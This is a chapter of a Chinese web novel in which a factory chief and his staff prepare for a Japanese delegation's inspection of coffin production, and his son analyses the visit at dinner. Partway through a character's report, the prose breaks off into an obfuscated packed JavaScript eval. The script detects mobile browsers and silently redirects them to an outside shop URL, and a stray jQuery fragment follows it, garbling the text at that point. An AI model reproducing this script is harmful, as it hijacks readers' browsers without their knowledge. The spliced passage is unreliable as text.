几日光景一晃而过，家具厂的节奏彻底稳了下来。
不再是从前松松散散、有人混工、有人闲坐的模样，每天的作息掐得极准。清晨七点，机器准时嗡鸣起势；正午十二点，工人收手上桌，车间瞬间褪去喧嚣；午后一点半全员返岗；傍晚六点准点收工。
偶尔赶订单会加到八九点，但王学勤始终压着节奏，从不让通宵硬熬。他私下跟叶舟聊起过，说话时带着几分吃过苦的感慨，手背在身后，看着满院忙碌的工人轻轻叹气：“以前厂子垮着，人人闲得心慌。现在好不容易活过来，不能一口气把人干跑了。留得住人，才有长久活计。”
人心稳住，厂子才算真正站稳脚跟。
这天正午，春日阳光透过窗格斜切进来，落在台账纸面上，亮得晃眼。叶舟伏在桌前核对排产，指尖按着笔尖，一行行慢扫数据，眉头微蹙，神情专注。连日紧绷筹备，他眉眼间始终带着一丝敛着的沉。
办公室门被轻轻推开，王学勤探身进来，脸上压不住笑意，步子都轻快了些，进门第一句便带着喜报的语气：“叶主任，泡桐木到了，整车拉进来的。”
叶舟笔尖一顿，抬眸直起身，后背轻轻舒展：“成色如何？”
“靠谱。”王学勤点头很快，语气笃定，“我在门口全程盯着卸车，一车都是精选料，没有裂板、没有虫眼，纹理顺得很。供应商听说我们是对接出口，不敢糊弄。我还特意叫老刘拿手电翻着边角照了一遍，干湿均匀，完全能用。”
“去看看。”叶舟随手合上台账，起身往外走。
仓库门口的解放卡车停得端正，车斗挡板放下，一垛垛浅黄色泡桐木码得整整齐齐。阳光落在木板表层，泛着一层细腻柔和的哑光。叶舟蹲下身，膝盖微屈，指尖贴着木纹轻轻滑过，触感干爽细腻。他随手提起一块板材，手腕轻掂，分量轻盈紧实，没有潮木的沉闷感。
确认无误，他才将木板轻轻放回垛上，起身拍了拍掌心细木渣，语气平静落地：“这批料单独堆放，别和榉木榆木混在一起。立块牌子，写明出口样品专用，避免拿错。”
“牌子已经钉好了。”王学勤侧头指了指仓库墙边。一块素色木牌端正立着，黑字工整清晰。叶舟扫了一眼，没再多言，转身回了办公室。
午后，屋内安静，只余笔尖划纸的细碎声响。张晓莉的接待方案初稿铺在桌面，条理规整。何家劲坐在侧边，脊背绷直，鼻梁眼镜微微下滑，他时不时抬手推一推，低头快速对账，神情严谨。王学勤坐在一旁椅子上，双手交叠放在膝头，安静待命。几人各守一事，有条不紊。
叶舟看着方案，看着看着，指尖在桌面轻轻敲了两下。两声轻响，让屋内原本细碎的动静瞬间停了。他抬眼，目光沉静，语气不疾不徐：“我一直在琢磨一个问题。日方是来谈棺木合作，可我们车间现在主力赶的还是桌椅家具。他们一进厂，满眼都是民用家具，观感上容易偏差。怕对方觉得我们主业不聚焦，对这次合作不够上心。”
王学勤闻言眉心当即拧起，嘴唇抿紧，下意识琢磨对策，一时没有出声。何家劲抬头，眼神清醒，语气稳妥接话：“但已签的十九万五订单绝对不能停。那是实单、是信誉。为一个未定的外贸单，停掉落地订单，风险太大，得不偿失。”
几人正沉吟间，办公室门被人一把推开。商陆快步跨进来，手里捏着一张折得整齐的白纸，脸上带着赶路的薄汗。他刚要开口报喜讯，瞥见屋里几人凝重神色，脚步猛地一顿，话卡在嘴边，小声问：“怎么了？氛围这么沉？”
王学勤简单把眼前顾虑复述一遍。商陆垂眸思索两秒，眼皮微眨，随即抬头，眼神亮了几分，给出自己的想法：“那不如我们改参观路线。”他语速不快，思路却极清晰：“不停产、不藏货、不演戏。我们只改主次。提前把棺木样品、泡桐木样板摆在最前头，进门第一眼就是我们的核心品类。家具生产线正常做，放在参观后半段。让他们先看见专业，再看见产能。真实，又体面。”
王学勤听完眉头瞬间松开，点点头，面露赞许：“这个法子稳，不造假，也不心虚。”
所有人视线落向叶舟，等他定夺。叶舟沉默片刻，视线落在商陆脸上，眼神平静却笃定，缓缓开口：“你这个想法，最端正。”他身子微微前倾，语气郑重几分，把底线彻底摆明：“我最怕的不是车间有家具，是怕你们想着投机取巧。临时搬货藏货、刻意停工摆场面，靠演、靠忽悠换一时好感。我们做外贸，做的是长久合作。品质是底气，诚实是根基。样品前置是展示实力，刻意遮掩是暴露心虚。这两点，本质完全不一样。”
商陆被这番话说得神色一凛，脸上轻浮气息尽数收敛，重重点头，眼神变得格外认真：“我懂了叶主任。不搞虚的，只做规整优化。我现在就去安排样品制作和摆放位置。”说完，他转身大步出去，行事干脆利落。
王学勤看着他背影，嘴角微不可察地扬了一下，心里暗自赞许。年轻人长进快，更难得的是听得进正道、不走歪路。
“继续说正事。”叶舟收回目光，看向王学勤，“柳下那边确认的四人行程，详细说说。”
王学勤拿起手中记录纸，低头扫了一眼，抬声汇报：“一共四人。田中社长亲自带队，带
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672778|206572||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一名采购主管、一名技术巡检，柳下一郎全程陪同。”他逐条念清行程：“四月十五下午从上海转车到安溪，傍晚入住。十六号全天考察核验，十七号上午座谈收尾，下午返程。”
叶舟低头提笔记录，字迹利落规整：“招待所四间房我已经提前预留好了。镇上食堂师傅也联系妥当，按工时结算，不占人情，不省体面。”
何家劲抬眼询问：“接待开支，单列专项还是走常规报销？”
“单列专项。”叶舟抬头，语气有度，“不寒酸、不铺张、不失礼。”他稍顿，指尖轻轻点了点纸面，眼底带着深思后的判断：“田中社长亲自过来，不是走流程。真只是走过场，派下属足够了。高层亲至，说明对方前期已经基本敲定，这次进厂，是最后一道终审关。我们不能在小事上掉链子。”
何家劲推了推眼镜，郑重应声：“明白。今晚我核算完整明细，明天一早交您过目。”
入夜，家中饭桌灯火温和。饭菜摆得整齐，热气袅袅升起。叶舟随口将日方行程、四人考察、田中亲至的事提了一遍，语气平淡，像是陈述一件寻常工作。
宁蕙心握着筷子静静听着，听完轻轻放下碗，眉宇间带着一丝不易察觉的紧张：“那只剩不到一个月了，时间太紧，半点错不得。”
桌边，叶子安安静扒着饭。他全程没插话，眉眼低垂，神情淡然。直到父母说完，他握着筷子的手微微一顿，指尖悬在碗沿，动作极轻。少年抬眸，目光澄澈平静，不张扬、不卖弄，语速均匀缓慢，句句戳透本质：“田中亲自带队，通过率本来就高。”他眼神淡淡扫过桌面，像是在复述书本常识，又像是早已看透商业规则：“日本企业层级森严，高层不会浪费时间走无效流程。社长出面，代表前期调研、利润测算、风险评估全部通过。这次考察不是谈判，是核验。”他停了半秒，又淡淡补了一句，语气依旧平稳无波：“柳下一郎跟着来，也不是陪看。是兜底，是保最后一关不出岔子。”
话说完，他便垂眸继续吃饭，神色平静如常，仿佛只是随口闲谈。
叶舟抬眼看他。少年坐姿端正，眉眼清宁，没有夸张神情，没有刻意卖弄，可字字精准、句句通透。他很多时候接不住这孩子的说话节奏，太冷静、太清醒、太一针见血。但不得不承认，每一次，叶子安都看得比旁人更远、更透。
春夜的风从门缝钻进来，带着初春新翻泥土的微凉气息。叶舟放下碗筷，抬眼望向院外沉沉夜色。
距离四月十五，越来越近。料已备齐，人已归位，心已笃定。该做的，皆在稳步推进。剩下的，便是静待终局核验。